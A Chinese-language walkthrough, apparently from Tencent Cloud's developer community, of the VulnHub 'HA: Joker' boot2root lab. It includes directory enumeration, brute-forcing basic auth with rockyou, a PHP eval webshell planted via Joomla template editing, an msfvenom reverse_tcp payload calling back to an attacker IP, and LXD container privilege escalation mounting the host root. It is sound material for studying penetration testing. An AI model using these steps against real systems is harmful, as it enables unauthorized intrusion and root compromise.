靶机地址:
https://www.vulnhub.com/entry/ha-joker,379/
靶机描述:
This lab is going to introduce a little anarchy. It will upset the established order, and everything becomes will become chaos. Get your face painted and wear that Purple suit because it’s time to channel your inner Joker. This is a boot2root lab. Getting the root flag is ultimate goal.
ENUMERATION IS THE KEY!!!!! (枚举是关键,字典是关键)
nmap 查看靶机端口情况,开放了80和8080
80端口没有特别发现,8080端口需要用户名密码进行认证。
对80端口利用dirb工具进行目录扫描,发现secret.txt文件
dirb http://192.168.136.134 -X .txt,php,json,html
secret.txt是joker和蝙蝠侠的对话,其实是提示信息,rock暗示kali中的rockyou字典,100 poor jokes暗示是字典的前100个。
对于8080端口进行抓包:
登录包中的认证信息通过base64编码,解密后发现为user:password 格式。按照此格式进行口令爆破,用户名joker,密码为rockyou top 100.
破解出用户名密码:am9rZXI6aGFubmFo,解码为joker:Hannah。登录后,发现8080端口web服务为 Joomla CMS
Joomla 默认后台地址: /administrator。默认用户密码 joomla/joomla,成功登录后台,尝试后台getshell。在插件中找到 beez3 模板,可进行php文件编辑:
http://192.168.136.134:8080/administrator/index.php?option=com_templates&view=templates
可在模板中添加shell.php文件,写入一句话木马:
<?php @eval($_POST[c]);?>
webshell地址:http://192.168.136.134:8080/templates/beez3/shell.php
注意连接的时候需要加上header字段Authorization: Basic am9rZXI6aGFubmFo,绕过第一步的登录验证
获得webshell:
系统信息: Linux ubuntu 4.15.0-55-generic #60-Ubuntu SMP Tue Jul 2 18:22:20 UTC 2019 x86_64
当前用户: www-data,需要提权到root
反弹shell:
1、生成msf 后门
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.136.222 LPORT=6666 -f elf >shell.elf
2、通过webshell上传到/tmp目录执行
Chmod 777 shell.elf
./shell.elf
3、Msf本地监听,获得meterpreter
Linux提权思路
lxd容器提权原理
LXD是Linux系统中用于管理LXC容器的API,提供了很多便利的命令来创建容器(container)、启动等等操作。它将为本地lxd用户组的任何用户执行任务,然而并没有在用户的权限与要执行的功能之间是否匹配做过多的判断。
LXD is a root process that carries out actions for anyone with write access to the LXD UNIX socket. It often does not attempt to match privileges of the calling user. There are multiple methods to exploit this. One of them is to use the LXD API to mount the host's root filesystem into a container. This gives a low-privilege user root access to the host filesystem. This is demonstrated in the exploit attached.
lxd容器提权
利用LXD Alpine Linux image builder工具构建容器镜像, 该工具提供了一种创建Alpine Linux映像以与LXD一起使用的方法。
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine #构建容器镜像
错误required by: world解决办法:
编辑/etc/apk/repositories
然后在文件的最顶端添加http://mirrors.ustc.edu.cn/alpine/v3.12/main/
编译成功完成后,出现容器镜像alpine-v3.12-x86_64-20200617_0924.tar.gz,将该文件上传到靶机中。
lxd容器提权
靶机中操作:
首先将编译好的镜像alpine-v3.12-x86_64-20200617_0924.tar.gz上传至靶机
lxc image import ./alpine-v3.12-x86_64-20200617_0924.tar.gz --alias myimage #导入镜像
lxc image list #查看镜像列表
lxc init myimage ignite -c security.privileged=true #初始化容器
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true #将宿主机的文件系统挂载到容器的
/mnt/root 目录下
lxc start ignite #启动容器
lxc exec ignite /bin/sh #执行shell
cat /mnt/root/root/final.txt
获得root权限,拿到flag文件,完成任务
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。